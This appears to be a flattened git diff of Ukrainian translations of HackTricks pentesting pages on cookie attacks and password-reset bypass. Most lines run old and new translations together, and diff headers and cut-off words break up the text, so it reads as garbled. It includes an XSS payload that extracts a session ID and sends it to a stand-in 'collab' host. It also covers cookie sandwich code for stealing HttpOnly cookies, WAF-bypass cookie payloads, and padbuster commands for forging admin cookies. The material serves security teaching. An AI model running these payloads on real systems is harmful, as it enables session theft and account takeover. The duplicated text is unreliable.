cookie-jar-overflow.md cookie-jar-overflow.md
{{#endref}} {{#endref}}
- Можливо використовувати [**Cookie Smuggling**](#cookie-smuggling) атаку для ексфільтрації цих cookie - Можна скористатися атакою [**Cookie Smuggling**](#cookie-smuggling) для ексфільтрації цих cookie
- Якщо будь-який серверний endpoint відображає raw session ID у HTTP-відповіді (наприклад у HTML-коментарях або блоці налагодження), ви можете обійти HttpOnly, використавши XSS gadget для отримання цього endpoint, застосувати regex до секрету та ексфільтрувати його. Приклад XSS payload pattern:
```js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
```
### Secure ### Secure
Запит буде **тільки** надсилати cookie в HTTP запиті, якщо запит передається через захищений канал (зазвичай **HTTPS**). Браузер відправляє cookie в HTTP-запиті лише якщо запит передається через захищений канал (зазвичай **HTTPS**).
## Cookies Prefixes ## Cookies Prefixes
Cookie, що починаються з `__Secure-`, повинні бути встановлені разом з прапором `secure` з сторінок, які захищені HTTPS. Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS.
Для cookie, що починаються з `__Host-`, повинні бути виконані кілька умов: For cookies prefixed with `__Host-`, several conditions must be met:
- Вони повинні бути встановлені з прапором `secure`. - They must be set with the `secure` flag.
- Вони повинні походити з сторінки, захищеної HTTPS. - They must originate from a page secured by HTTPS.
- Їм заборонено вказувати домен, що запобігає їх передачі на піддомени. - They are forbidden from specifying a domain, preventing their transmission to subdomains.
- Шлях для цих cookie повинен бути встановлений на `/`. - The path for these cookies must be set to `/`.
Важливо зазначити, що cookie, що починаються з `__Host-`, не можуть бути надіслані на супердомен або піддомен. Це обмеження допомагає ізолювати cookie додатків. Таким чином, використання префікса `__Host-` для всіх cookie додатків можна вважати хорошою практикою для підвищення безпеки та ізоляції. It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation.
### Overwriting cookies ### Overwriting cookies
Отже, одне з захистів cookie з префіксом `__Host-` - запобігти їх перезапису з піддоменів. Запобігаючи, наприклад, [**Cookie Tossing attacks**](cookie-tossing.md). У доповіді [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) представлено, що було можливо встановити cookie з префіксом \_\_HOST- з піддомену, обманюючи парсер, наприклад, додаючи "=" на початку або на початку та в кінці...: Отже, одне з обмежень `__Host-` префіксованих cookies — запобігання їх перезапису з піддоменів. Це, наприклад, перешкоджає [**Cookie Tossing attacks**](cookie-tossing.md). У доповіді [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) показано, що було можливо встановити `__HOST-` префіксовані cookies з піддомену, обманувши парсер — наприклад, додаючи "=" на початку або на початку і в кінці...:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Або в PHP було можливо додати **інші символи на початку** назви cookie, які будуть **замінені на символи підкреслення**, що дозволяє перезаписати cookie `__HOST-`: Або в PHP було можливо додати **інші символи на початку** імені cookie, які потім **замінювалися на підкреслення**, що дозволяло перезаписувати `__HOST-` cookies:
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure> <figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks ## Cookies Attacks
Якщо кастомний cookie містить чутливі дані, перевірте його (особливо якщо ви берете участь у CTF), оскільки він може бути вразливим. Якщо кастомний cookie містить конфіденційні дані, перевірте його (особливо якщо ви берете участь у CTF), оскільки він може бути вразливим.
### Decoding and Manipulating Cookies ### Decoding and Manipulating Cookies
Чутливі дані, вбудовані в cookie, завжди повинні бути перевірені. Cookie, закодовані в Base64 або подібних форматах, часто можуть бути декодовані. Ця вразливість дозволяє зловмисникам змінювати вміст cookie та видавати себе за інших користувачів, закодовуючи їх змінені дані назад у cookie. Конфіденційні дані, вбудовані в cookies, слід завжди ретельно перевіряти. Cookies, закодовані в Base64 або подібних форматах, часто можна декодувати. Ця вразливість дозволяє зловмисникам змінювати вміст cookie та видавати себе за інших користувачів, повторно кодувавши змінені дані назад у cookie.
### Session Hijacking ### Session Hijacking
Ця атака полягає у викраденні cookie користувача для отримання несанкціонованого доступу до їх облікового запису в додатку. Використовуючи вкрадений cookie, зловмисник може видавати себе за законного користувача. Ця атака полягає у викраденні cookie користувача для отримання неавторизованого доступу до його облікового запису в застосунку. Використовуючи вкрадений cookie, зловмисник може видавати себе за легітимного користувача.
### Session Fixation ### Session Fixation
У цьому сценарії зловмисник обманює жертву, щоб вона використовувала конкретний cookie для входу. Якщо додаток не призначає новий cookie під час входу, зловмисник, маючи оригінальний cookie, може видавати себе за жертву. Ця техніка залежить від того, що жертва входить з cookie, наданим зловмисником. У цьому сценарії зловмисник обманює жертву, щоб вона використовувала певний cookie для входу. Якщо застосунок не видає новий cookie після логіну, зловмисник, який володіє початковим cookie, може видавати себе за жертву. Ця техніка спирається на те, що жертва заходить у систему з cookie, який надав зловмисник.
Якщо ви знайшли **XSS у піддомені** або **контролюєте піддомен**, прочитайте: If you found an **XSS in a subdomain** or you **control a subdomain**, read:
{{#ref}} {{#ref}}
@ -123,9 +129,9 @@ cookie-tossing.md
### Session Donation ### Session Donation
Тут зловмисник переконує жертву використовувати cookie сесії зловмисника. Жертва, вважаючи, що вона увійшла до свого облікового запису, ненавмисно виконує дії в контексті облікового запису зловмисника. Тут зловмисник переконує жертву використовувати сесію (cookie) зловмисника. Жертва, вважаючи, що вона увійшла у власний обліковий запис, ненавмисно виконуватиме дії в контексті облікового запису зловмисника.
Якщо ви знайшли **XSS у піддомені** або **контролюєте піддомен**, прочитайте: If you found an **XSS in a subdomain** or you **control a subdomain**, read:
{{#ref}} {{#ref}}
@ -134,23 +140,23 @@ cookie-tossing.md
### [JWT Cookies](../hacking-jwt-json-web-tokens.md) ### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
Натисніть на попереднє посилання, щоб отримати доступ до сторінки, що пояснює можливі вразливості в JWT. Click on the previous link to access a page explaining possible flaws in JWT.
JSON Web Tokens (JWT), що використовуються в cookie, також можуть мати вразливості. Для отримання детальної інформації про потенційні вразливості та способи їх експлуатації рекомендується звернутися до пов'язаного документа про хакінг JWT. JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
### Cross-Site Request Forgery (CSRF) ### Cross-Site Request Forgery (CSRF)
Ця атака змушує увійшовшого користувача виконувати небажані дії на веб-додатку, в якому він наразі аутентифікований. Зловмисники можуть використовувати cookie, які автоматично надсилаються з кожним запитом до вразливого сайту. Ця атака змушує автентифікованого користувача виконувати небажані дії в веб-застосунку, в якому він наразі автентифікований. Зловмисники можуть експлуатувати cookies, які автоматично надсилаються з кожним запитом на вразливий сайт.
### Empty Cookies ### Empty Cookies
(Перевірте додаткові деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Браузери дозволяють створювати cookie без імені, що можна продемонструвати через JavaScript наступним чином: (Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Браузери дозволяють створювати cookies без імені, що можна продемонструвати за допомогою JavaScript наступним чином:
```js ```js
document.cookie = "a=v1" document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2" document.cookie = "b=v2"
``` ```
Результат у заголовку cookie `a=v1; test value; b=v2;`. Цікаво, що це дозволяє маніпулювати cookie, якщо встановлено cookie з порожнім ім'ям, потенційно контролюючи інші cookie, встановлюючи порожній cookie на конкретне значення: Результат у заголовку cookie, що надсилається, — `a=v1; test value; b=v2;`. Цікавим чином це дозволяє маніпулювати cookie, якщо встановлено cookie з порожньою назвою, що потенційно дозволяє контролювати інші cookie шляхом встановлення порожнього cookie на конкретне значення:
```js ```js
function setCookie(name, value) { function setCookie(name, value) {
document.cookie = `${name}=${value}` document.cookie = `${name}=${value}`
@ -158,109 +164,109 @@ document.cookie = `${name}=${value}`
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
``` ```
Це призводить до того, що браузер надсилає заголовок cookie, який кожен веб-сервер інтерпретує як cookie з ім'ям `a` та значенням `b`. Це призводить до того, що браузер надсилає заголовок cookie, який інтерпретується кожним веб‑сервером як cookie з ім'ям `a` і значенням `b`.
#### Chrome Bug: Проблема з кодовими точками сурогатів Unicode #### Chrome Bug: Проблема з Unicode Surrogate Codepoint
У Chrome, якщо кодова точка сурогата Unicode є частиною встановленого cookie, `document.cookie` стає пошкодженим, повертаючи порожній рядок наступним чином: У Chrome, якщо Unicode surrogate codepoint є частиною set cookie, `document.cookie` стає пошкодженим і надалі повертає порожній рядок:
```js ```js
document.cookie = "\ud800=meep" document.cookie = "\ud800=meep"
``` ```
Це призводить до того, що `document.cookie` виводить порожній рядок, що вказує на постійну корупцію. Внаслідок цього `document.cookie` повертає порожній рядок, що вказує на постійне пошкодження.
#### Контрабанда кукі через проблеми з парсингом #### Cookie Smuggling через проблеми з парсингом
(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Декілька веб-серверів, включаючи ті, що з Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки кукі через застарілу підтримку RFC2965. Вони читають значення кукі в подвійних лапках як одне значення, навіть якщо воно містить крапки з комою, які зазвичай повинні розділяти пари ключ-значення: (Перегляньте додаткові деталі в [original research](https://blog.ankursundara.com/cookie-bugs/)) Кілька веб‑серверів, зокрема реалізації для Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки cookie через застарілу підтримку RFC2965. Вони читають значення cookie в подвійних лапках як одне значення, навіть якщо воно містить символи ';', які зазвичай повинні розділяти пари ключ-значення:
``` ```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
``` ```
#### Вразливості ін'єкції куків #### Вразливості Cookie Injection
ив. деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Неправильний парсинг куків серверами, зокрема Undertow, Zope та тими, що використовують Python's `http.cookie.SimpleCookie` і `http.cookie.BaseCookie`, створює можливості для атак ін'єкції куків. Ці сервери не можуть правильно обмежити початок нових куків, що дозволяє зловмисникам підробляти куки: еталі — у [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Невірне розборення cookie серверами, зокрема Undertow, Zope та тими, що використовують Python's `http.cookie.SimpleCookie` і `http.cookie.BaseCookie`, створює можливості для cookie injection attacks. Ці сервери не відокремлюють належним чином початок нових cookie, що дозволяє зловмисникам підробляти cookie:
- Undertow очікує новий куки відразу після цитованого значення без крапки з комою. - Undertow очікує новий cookie одразу після значення в лапках без крапки з комою.
- Zope шукає кому, щоб почати парсинг наступного кука. - Zope шукає кому, щоб почати розбір наступного cookie.
- Класи куків Python починають парсинг з символу пробілу. - Python's cookie classes починають розбір із пробільного символу.
Ця вразливість особливо небезпечна в веб-додатках, які покладаються на захист CSRF на основі куків, оскільки це дозволяє зловмисникам ін'єктувати підроблені куки CSRF-токенів, потенційно обходячи заходи безпеки. Проблема ускладнюється обробкою Python дублікатів імен куків, де останнє входження перекриває попередні. Це також викликає занепокоєння щодо куків `__Secure-` і `__Host-` в небезпечних контекстах і може призвести до обходу авторизації, коли куки передаються на сервери, що піддаються підробці. Ця вразливість особливо небезпечна для веб‑додатків, що покладаються на cookieбазований захист від CSRF, оскільки вона дозволяє зловмисникам інжектувати підроблені CSRF-token cookie, потенційно обходячи заходи безпеки. Проблема посилюється тим, як Python обробляє дублікати імен cookie — останній екземпляр перекриває попередні. Це також викликає занепокоєння щодо `__Secure-` і `__Host-` cookie в ненадійних контекстах і може призвести до обходу авторизації, коли cookie передаються на back-end сервери, вразливі до підробки.
### Cookies $version ### Cookies $version
#### Обхід WAF #### WAF Bypass
Згідно з [**цією статтею**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), можливо, можна використовувати атрибут кука **`$Version=1`**, щоб змусити бекенд використовувати стару логіку для парсингу кука через **RFC2109**. Більше того, інші значення, такі як **`$Domain`** і **`$Path`**, можуть бути використані для зміни поведінки бекенду з куком. Згідно з [**цією публікацією в блозі**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), можливо використати атрибут cookie **`$Version=1`**, щоб змусити бекенд застосувати стару логіку розбору cookie через **RFC2109**. Крім того, інші атрибути, такі як **`$Domain`** і **`$Path`**, можна використати для модифікації поведінки бекенду щодо cookie.
#### Атака Cookie Sandwich #### Cookie Sandwich Attack
Згідно з [**цією статтею**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), можливо використовувати техніку cookie sandwich для викрадення HttpOnly куків. Ось вимоги та кроки: Згідно з [**цією публікацією в блозі**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), можна застосувати cookie sandwich technique для викрадення HttpOnly cookie. Нижче — вимоги та кроки:
- Знайти місце, де очевидно безкорисний **кук відображається у відповіді** - Знайти місце, де, здавалося б, непотрібний **cookie відображається у відповіді**
- **Створити куку з назвою `$Version`** зі значенням `1` (це можна зробити в атаці XSS з JS) з більш специфічним шляхом, щоб вона отримала початкову позицію (деякі фреймворки, такі як Python, не потребують цього кроку) - **Створити cookie з ім'ям `$Version`** зі значенням `1` (це можна зробити в XSS-атаці з JS) з більш специфічним path, щоб він отримав початкову позицію (деякі фреймворки, як python, не потребують цього кроку)
- **Створити куку, яка відображається** зі значенням, що залишає **відкриті подвійні лапки** і з конкретним шляхом, щоб вона була розташована в базі куків після попередньої (`$Version`) - **Створити cookie, що відображається**, зі значенням, яке залишає відкриту **подвійну лапку**, і з конкретним path, щоб він опинився в базі cookie після попереднього (`$Version`)
- Потім легітимна кука піде наступною в порядку - Тоді легітимний cookie піде наступним у порядку
- **Створити фальшиву куку, яка закриває подвійні лапки** всередині свого значення - **Створити підставний cookie, який закриває подвійні лапки** у своєму значенні
Таким чином, кука жертви потрапляє в пастку всередині нової куки версії 1 і буде відображатися щоразу, коли вона відображається. Таким чином жертвинський cookie опиняється захопленим всередині нового cookie версії 1 і буде відображатися щоразу, коли його відображують. Наприклад, із посту:
```javascript ```javascript
document.cookie = `$Version=1;`; document.cookie = `$Version=1;`;
document.cookie = `param1="start`; document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side // any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`; document.cookie = `param2=end";`;
``` ```
### WAF обходи ### WAF bypasses
#### Cookies $version #### Cookies $version
Перегляньте попередній розділ. Перевірте попередній розділ.
#### Аналіз обходу значень з кодуванням quoted-string #### Bypassing value analysis with quoted-string encoding
Цей парсинг вказує на те, щоб розкодувати ескейповані значення всередині cookie, тому "\a" стає "a". Це може бути корисно для обходу WAF, оскільки: Цей парсинг вказує на необхідність unescape-ити екрановані значення всередині cookies, тому "\a" стає "a". Це може бути корисно для обходу WAFS, наприклад:
- `eval('test') => заборонено` - `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => дозволено` - `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Обхід блокувань імен cookie #### Bypassing cookie-name blocklists
У RFC2109 вказано, що **кома може використовуватися як роздільник між значеннями cookie**. Також можливо додавати **пробіли та табуляції перед і після знака рівності**. Тому cookie на кшталт `$Version=1; foo=bar, abc = qux` не генерує cookie `"foo":"bar, admin = qux"`, а генерує cookie `foo":"bar"` та `"admin":"qux"`. Зверніть увагу, як генерується 2 cookie і як з admin видалено пробіл перед і після знака рівності. У RFC2109 зазначено, що **кома може використовуватися як роздільник між значеннями cookie**. Також можливо додавати **пробіли та табуляцію до і після знака рівності**. Отже cookie типу `$Version=1; foo=bar, abc = qux` не породжує cookie `"foo":"bar, admin = qux"`, а породжує cookie `"foo":"bar"` та `"admin":"qux"`. Зверніть увагу, як утворюються 2 cookie і як у admin видалено пробіли до і після знака рівності.
#### Обхід аналізу значень з розділенням cookie #### Bypassing value analysis with cookie splitting
Нарешті, різні бекдори можуть об'єднувати в рядок різні cookie, передані в різних заголовках cookie, як у: Нарешті, різні backdoors могли б об'єднати в один рядок різні cookie, передані в різних cookie headers, як у прикладі:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: example.com Host: example.com
Cookie: param1=value1; Cookie: param1=value1;
Cookie: param2=value2; Cookie: param2=value2;
``` ```
Що може дозволити обійти WAF, як у цьому прикладі: Що могло б дозволити bypass a WAF, як у цьому прикладі:
``` ```
Cookie: name=eval('test// Cookie: name=eval('test//
Cookie: comment') Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed Resulting cookie: name=eval('test//, comment') => allowed
``` ```
### Додаткові перевірки вразливих куків ### Додаткові перевірки вразливих cookie
#### **Основні перевірки** #### **Основні перевірки**
- **cookie** є **однаковим** щоразу, коли ви **входите** в систему. - **cookie** є **однаковим** щоразу при **login**.
- Вийдіть з системи та спробуйте використати той самий cookie. - Вийдіть з облікового запису і спробуйте використати той самий cookie.
- Спробуйте увійти з 2 пристроїв (або браузерів) до одного й того ж облікового запису, використовуючи той самий cookie. - Спробуйте log in з 2 пристроїв (або браузерів) до того самого account, використовуючи той самий cookie.
- Перевірте, чи містить cookie якусь інформацію, і спробуйте змінити її. - Перевірте, чи cookie містить яку-небудь інформацію та спробуйте її змінити
- Спробуйте створити кілька облікових записів з майже однаковими іменами користувачів і перевірте, чи можете ви побачити подібності. - Спробуйте створити кілька accounts з майже однаковими username і перевірте, чи видно схожості.
- Перевірте опцію "**запам'ятати мене**", якщо вона існує, щоб дізнатися, як вона працює. Якщо вона існує і може бути вразливою, завжди використовуйте cookie з **запам'ятати мене** без жодного іншого cookie. - Перевірте опцію "**remember me**" (якщо є), щоб зрозуміти, як вона працює. Якщо вона є й може бути вразливою, завжди використовуйте cookie від **remember me** без жодних інших cookie.
- Перевірте, чи працює попередній cookie навіть після зміни пароля. - Перевірте, чи попередній cookie працює навіть після зміни пароля.
#### **Складні атаки на куки** #### **Розширені атаки на cookies**
Якщо cookie залишається таким же (або майже таким) під час входу, це, ймовірно, означає, що cookie пов'язаний з якимось полем вашого облікового запису (ймовірно, з ім'ям користувача). Тоді ви можете: Якщо cookie залишається тим самим (або майже) при log in, це, ймовірно, означає, що cookie пов’язаний з якимось полем вашого account (імовірно — username). Тоді ви можете:
- Спробуйте створити багато **облікових записів** з дуже **схожими** іменами користувачів і спробуйте **вгадати**, як працює алгоритм. - Спробуйте створити велику кількість **accounts** з дуже **схожими** username і спробуйте **вгадати**, як працює алгоритм.
- Спробуйте **брутфорсити ім'я користувача**. Якщо cookie зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашого cookie, оскільки один з cookie, які ви спробуєте, буде належати "**admin**". - Спробуйте **bruteforce the username**. Якщо cookie використовується лише як метод автентифікації для вашого username, тоді ви можете створити account з username "**Bmin**" і **bruteforce** кожен окремий **bit** cookie, оскільки один із cookie, які ви спробуєте, буде належати "**admin**".
- Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст cookie). Використовуйте **padbuster**. - Спробуйте **Padding** **Oracle** (ви можете дешифрувати вміст cookie). Використайте **padbuster**.
**Padding Oracle - приклади Padbuster** **Padding Oracle - Padbuster приклади**
```bash ```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]> padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64 # When cookies and regular Base64
@ -270,43 +276,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
``` ```
Padbuster зробить кілька спроб і запитає вас, яка умова є умовою помилки (та, що є недійсною). Padbuster зробить кілька спроб і запитає вас, яка умова є умовою помилки (та, що не є дійсною).
Потім він почне розшифровувати кукі (це може зайняти кілька хвилин). Потім він почне decrypting the cookie (це може зайняти кілька хвилин)
Якщо атака була успішно виконана, ви можете спробувати зашифрувати рядок на ваш вибір. Наприклад, якщо ви хочете **зашифрувати** **user=administrator** Якщо атаку успішно виконано, ви можете спробувати encrypt рядок на свій вибір. Наприклад, якщо ви хочете **encrypt** **user=administrator**
``` ```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
``` ```
Це виконання надасть вам cookie, правильно зашифрований і закодований зі строкою **user=administrator** всередині. This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside.
**CBC-MAC** **CBC-MAC**
Можливо, cookie може мати певне значення і може бути підписаний за допомогою CBC. Тоді цілісність значення є підписом, створеним за допомогою CBC з тим же значенням. Оскільки рекомендується використовувати як IV нульовий вектор, цей тип перевірки цілісності може бути вразливим. Можливо cookie може мати деяке значення і бути підписане з використанням CBC. Тоді цілісність значення — це підпис, створений за допомогою CBC над тим же значенням. Оскільки рекомендовано використовувати як IV нульовий вектор, цей тип перевірки цілісності може бути вразливим.
**Атака** **Атака**
1. Отримати підпис імені користувача **administ** = **t** 1. Отримати підпис для username **administ** = **t**
2. Отримати підпис імені користувача **rator\x00\x00\x00 XOR t** = **t'** 2. Отримати підпис для username **rator\x00\x00\x00 XOR t** = **t'**
3. Встановити в cookie значення **administrator+t'** (**t'** буде дійсним підписом **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** 3. Встановити в cookie значення **administrator+t'** (**t'** буде дійсним підписом для **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
**ECB** **ECB**
Якщо cookie зашифровано за допомогою ECB, він може бути вразливим.\ Якщо cookie зашифровано з використанням ECB воно може бути вразливим.\
Коли ви входите в систему, cookie, який ви отримуєте, завжди має бути однаковим. Коли ви входите, cookie, який ви отримуєте, має завжди бути однаковим.
**Як виявити та атакувати:** How to detect and attack:
Створіть 2 користувачів з майже однаковими даними (ім'я користувача, пароль, електронна пошта тощо) і спробуйте виявити певний шаблон у наданому cookie. - Створіть 2 користувачів з майже однаковими даними (username, password, email, etc.) і спробуйте виявити якийсь патерн у отриманому cookie
Створіть користувача, наприклад, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" і перевірте, чи є якийсь шаблон у cookie (оскільки ECB шифрує з одним і тим же ключем кожен блок, ті ж зашифровані байти можуть з'явитися, якщо ім'я користувача зашифровано). - Створіть користувача, наприклад "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" і перевірте, чи є якийсь патерн у cookie (оскільки ECB шифрує з тим же ключем кожен блок, ті самі зашифровані байти можуть з'являтися, якщо username шифрується).
Має бути шаблон (з розміром використаного блоку). Отже, знаючи, як зашифровано купу "a", ви можете створити ім'я користувача: "a"\*(розмір блоку)+"admin". Тоді ви зможете видалити зашифрований шаблон блоку "a" з cookie. І ви отримаєте cookie для імені користувача "admin". - Повинна бути повторювана послідовність (розміром як блок шифру). Отже, знаючи, як шифрується рядок з "a", ви можете створити username: "a"\*(size of the block)+"admin". Потім ви можете видалити зашифрований блок, що відповідає блоку "a", з cookie. І у вас буде cookie для username "admin".
## Посилання ## References
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) - [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) - [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie) - [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,181 +1,182 @@
# Скидання/Забутий пароль обхід # Обхід скидання/забутого пароля
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Витік токена скидання пароля через реферер** ## **Password Reset Token Leak Via Referrer**
- Заголовок HTTP referer може витікати токен скидання пароля, якщо він включений в URL. Це може статися, коли користувач натискає на посилання третьої сторони після запиту на скидання пароля. - The HTTP referer header may leak the токен для скидання пароля if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- **Вплив**: Потенційне захоплення облікового запису через атаки Cross-Site Request Forgery (CSRF). - **Impact**: Можливе захоплення облікового запису через Cross-Site Request Forgery (CSRF) атаки.
- **Експлуатація**: Щоб перевірити, чи витікає токен скидання пароля в заголовку реферера, **запросіть скидання пароля** на вашу електронну адресу та **натисніть на посилання для скидання**, яке надано. **Не змінюйте свій пароль** відразу. Натомість, **перейдіть на веб-сайт третьої сторони** (наприклад, Facebook або Twitter), **перехоплюючи запити за допомогою Burp Suite**. Перевірте запити, щоб дізнатися, чи **заголовок реферера містить токен скидання пароля**, оскільки це може розкрити чутливу інформацію третім особам. - **Exploitation**: Щоб перевірити, чи витікає токен для скидання пароля в referer header, **request a password reset** на вашу електронну адресу і **click the reset link**, що прийде. **Do not change your password** негайно. Натомість **navigate to a third-party website** (наприклад Facebook або Twitter), одночасно **intercepting the requests using Burp Suite**. Перевірте запити, щоб з'ясувати, чи **referer header contains the password reset token**, оскільки це може розкрити чутливу інформацію третім особам.
- **Посилання**: - **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379) - [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Стаття про витік токена скидання пароля](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) - [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Отруєння скидання пароля** ## **Password Reset Poisoning**
- Зловмисники можуть маніпулювати заголовком Host під час запитів на скидання пароля, щоб вказати посилання для скидання на шкідливий сайт. - Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- **Вплив**: Призводить до потенційного захоплення облікового запису шляхом витоку токенів скидання зловмисникам. - **Impact**: Призводить до потенційного захоплення облікового запису через leaking reset tokens to attackers.
- **Кроки з пом'якшення**: - **Mitigation Steps**:
- Перевірте заголовок Host на відповідність білому списку дозволених доменів. - Validate the Host header against a whitelist of allowed domains.
- Використовуйте безпечні, серверні методи для генерації абсолютних URL. - Use secure, server-side methods to generate absolute URLs.
- **Патч**: Використовуйте `$_SERVER['SERVER_NAME']` для створення URL скидання пароля замість `$_SERVER['HTTP_HOST']`. - **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- **Посилання**: - **References**:
- [Стаття Acunetix про отруєння скидання пароля](https://www.acunetix.com/blog/articles/password-reset-poisoning/) - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Скидання пароля шляхом маніпулювання параметром електронної пошти** ## **Password Reset By Manipulating Email Parameter**
